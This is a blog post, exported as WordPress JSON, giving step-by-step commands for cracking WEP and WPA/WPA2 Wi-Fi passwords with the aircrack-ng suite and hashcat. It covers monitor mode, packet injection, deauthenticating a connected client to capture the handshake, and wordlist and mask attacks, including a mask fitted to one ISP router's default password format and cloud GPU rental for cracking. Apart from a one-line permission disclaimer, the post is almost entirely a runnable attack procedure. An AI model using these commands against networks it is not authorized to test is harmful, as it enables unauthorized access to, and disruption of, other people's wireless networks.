{"id":1140,"date":"2021-02-14T19:29:31","date_gmt":"2021-02-14T19:29:31","guid":{"rendered":"https:\/\/dft.wiki\/?p=1140"},"modified":"2021-04-10T01:49:15","modified_gmt":"2021-04-10T01:49:15","slug":"how-to-crack-wifi-wep-and-wpa-wpa2","status":"publish","type":"post","link":"https:\/\/dft.wiki\/?p=1140","title":{"rendered":"How to Crack WIFI: WEP and WPA\/WPA2"},"content":{"rendered":"<p>This whole blog and including this post is just for educational purposes and do not do anything to a WIFI network that does not belong to you or that you have written permission to do so.<\/p>\n<p><strong>Hacking WIFI with WEP encryption<\/strong> is very simple.<\/p>\n<p>First, listen for any WIFI running WEP nearby:<\/p>\n<pre>airodump-ng wlan0 --encrypt wep<\/pre>\n<p>Replace the channel number (<strong>1<\/strong> in the example) and the MAC address (<strong>FF:FF:FF:FF:FF:FF<\/strong> in the example) with the data from airodump:<\/p>\n<pre>basside-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF<\/pre>\n<p>The preview command keeps capturing IV packages, which are the type of packages used to crack WEP. First, it does injection and then later it does flood.<\/p>\n<p>It is going to give you the hex version of the password, so use it to get the ASCII version of it:<\/p>\n<pre>aircrack-ng .\/wep.pcap<\/pre>\n<p>Another way may take a bit longer because the is no packet injection to speed up the process, but works fine too.<\/p>\n<p>Once you know the channel and the BSSID (MAC of the router) you run the following commands in two different terminals:<\/p>\n<pre>airodump-ng wlan0 -c 1 -b FF:FF:FF:FF:FF:FF\r\naircrack-ng .\/wep.pcap<\/pre>\n<p>Airodump will be capturing packets in one terminal while aircrack will be re-checking the file every 5000 packets until it gets enough information to crack the password.<\/p>\n<p><strong>The basics about cracking a WIFI that uses WPA\/WPA2<\/strong> are capturing the 4-way handshake and use the acquired data into hashcat to recreate the password using brute force.<\/p>\n<p>To capture the handshake a device has to connect to the network, and this can be a long waiting process or maybe kick one device off and wait for it re-connect. Not a big deal!<\/p>\n<p>The hash cracking part is more critical because it can use a public passwords list, or another passwords list you created using tools like CUPP in combination or not with Mentalist.<\/p>\n<p>Changing the wireless adapter to monitor mode, check the mode changed, and start grabbing packages:<\/p>\n<pre>sudo airmon-ng start wlan0\r\niwconfig\r\nsudo airodump-ng wlan0mon<\/pre>\n<p>The tool will do a channel hopping and will find out all the reachable routers and the devices connected to them.<\/p>\n<pre>sudo airodump-ng -c1 -w output_file -d FF:FF:FF:FF:FF:FF wlan0mon<\/pre>\n<p>Note that <strong>-c1<\/strong> means channel 1 and <strong>FF:FF:FF:FF:FF:FF<\/strong> represents the MAC address of the desired router.<\/p>\n<p>Then in another terminal try to disconnect one of the clients.<\/p>\n<pre>sudo aireplay-ng --deauth 0 -a FF:FF:FF:FF:FF:FF -c EE:EE:EE:EE:EE:EE wlan0mon<\/pre>\n<p>The first argument <strong>0<\/strong> is the rate of the packets to be sent, <strong>-a<\/strong> is the access point, and <strong>-c<\/strong> is the client.<\/p>\n<p>On the airodump terminal, you may see at the top &#8220;<strong>WAP handshake: FF:FF:FF:FF:FF:FF<\/strong>&#8220;, which means the handshake was captured and the process can be stopped.<\/p>\n<pre>sudo airmon-ng stop wlan0mon<\/pre>\n<p>If you open the <strong>output_file.pcap<\/strong> file with the Wireshark, filter by &#8220;<strong>eapol<\/strong>&#8220;, which stands for Extensible Authentication Protocol (EAP) over LAN, to see the 4-way handshake.<\/p>\n<p>Now use a wordlist to see if any of the words match with the password.<\/p>\n<pre>aircrack-ng output_file.pcap -w \/usr\/share\/dict\/words<\/pre>\n<p>The wordlist above is just a dictionary and contains a very limited number of possibilities, consider using Rock You or creating the list yourself based on the information you have: SSID (can indicate the internet provider) and MAC (informs who manufactured the hardware) to guess the password pattern.<\/p>\n<p>For example, for Bell Canada, the modem Home Hub 3000 uses a password 12 characters long and each digit contains an upper-case hex (1-F).<\/p>\n<pre>hashcat -m 2500 -a3 handshake.hccapx ?H?H?H?H?H?H?H?H?H?H?H?H<\/pre>\n<p>Don&#8217;t be disappointed if you find the estimated time o finish around 1800 years. Find a high-performance GPU, and face the challenge \ud83d\ude42<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1195\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59.png\" alt=\"\" width=\"610\" height=\"247\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59.png 610w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot_2021-02-14_21-19-59-300x121.png 300w\" sizes=\"auto, (max-width: 610px) 100vw, 610px\" \/><\/p>\n<p>Using Linode GPU computing to crack the password hash:<\/p>\n<ul>\n<li>Linode Plan: Dedicated 32GB + RTX6000 GPU x1<\/li>\n<li>Hourly: $1.50 ($1000\/month)<\/li>\n<li>RAM: 32 GB<\/li>\n<li>CPUs: 8<\/li>\n<li>Storage: 640 GB<\/li>\n<\/ul>\n<p>Setting up the system:<\/p>\n<pre>sudo apt update\r\nsudo apt install hashcat -y\r\nwget https:\/\/downloads.hpe.com\/pub\/softlib2\/software1\/pubsw-linux\/p87865808\/v171517\/NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz\r\ntar zxvf NVIDIA-Quadro-RTX6000-Linux_Driver-418.43.tar.gz\r\nchmod +x NVIDIA-Linux-x86_64-418.43.run\r\n.\/NVIDIA-Linux-x86_64-418.43.run\r\nhashcat -I\r\nsudo apt install gcc make build-essential linux-headers-$(uname -r) -y<\/pre>\n<p>Even reducing from 1809 to 10 years it stills not practicable even with a high-performance GPU to crack such a long password.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1210\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52.png\" alt=\"\" width=\"719\" height=\"294\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52.png 719w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-02-15-16-11-52-300x123.png 300w\" sizes=\"auto, (max-width: 719px) 100vw, 719px\" \/><\/p>\n<p>The same test was performed on the <strong>ColabCat<\/strong>, follow the results:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1781\" src=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49.png\" alt=\"\" width=\"648\" height=\"275\" srcset=\"https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49.png 648w, https:\/\/dft.wiki\/wp-content\/uploads\/sites\/15\/2021\/02\/Screenshot-from-2021-04-09-10-39-49-300x127.png 300w\" sizes=\"auto, (max-width: 648px) 100vw, 648px\" \/><\/p>\n<p>Read more about it on the post <strong>Cracking Hashes with HashCat in Google Cloud Colab<\/strong> [<a href=\"https:\/\/dft.wiki\/?p=1658\">Link<\/a>].<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This whole blog and including this post is just for educational purposes and do not [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-1140","post","type-post","status-publish","format-standard","hentry","category-hacking"],"_links":{"self":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1140"}],"version-history":[{"count":14,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140\/revisions"}],"predecessor-version":[{"id":1797,"href":"https:\/\/dft.wiki\/index.php?rest_route=\/wp\/v2\/posts\/1140\/revisions\/1797"}],"wp:attachment":[{"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1140"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1140"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dft.wiki\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1140"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}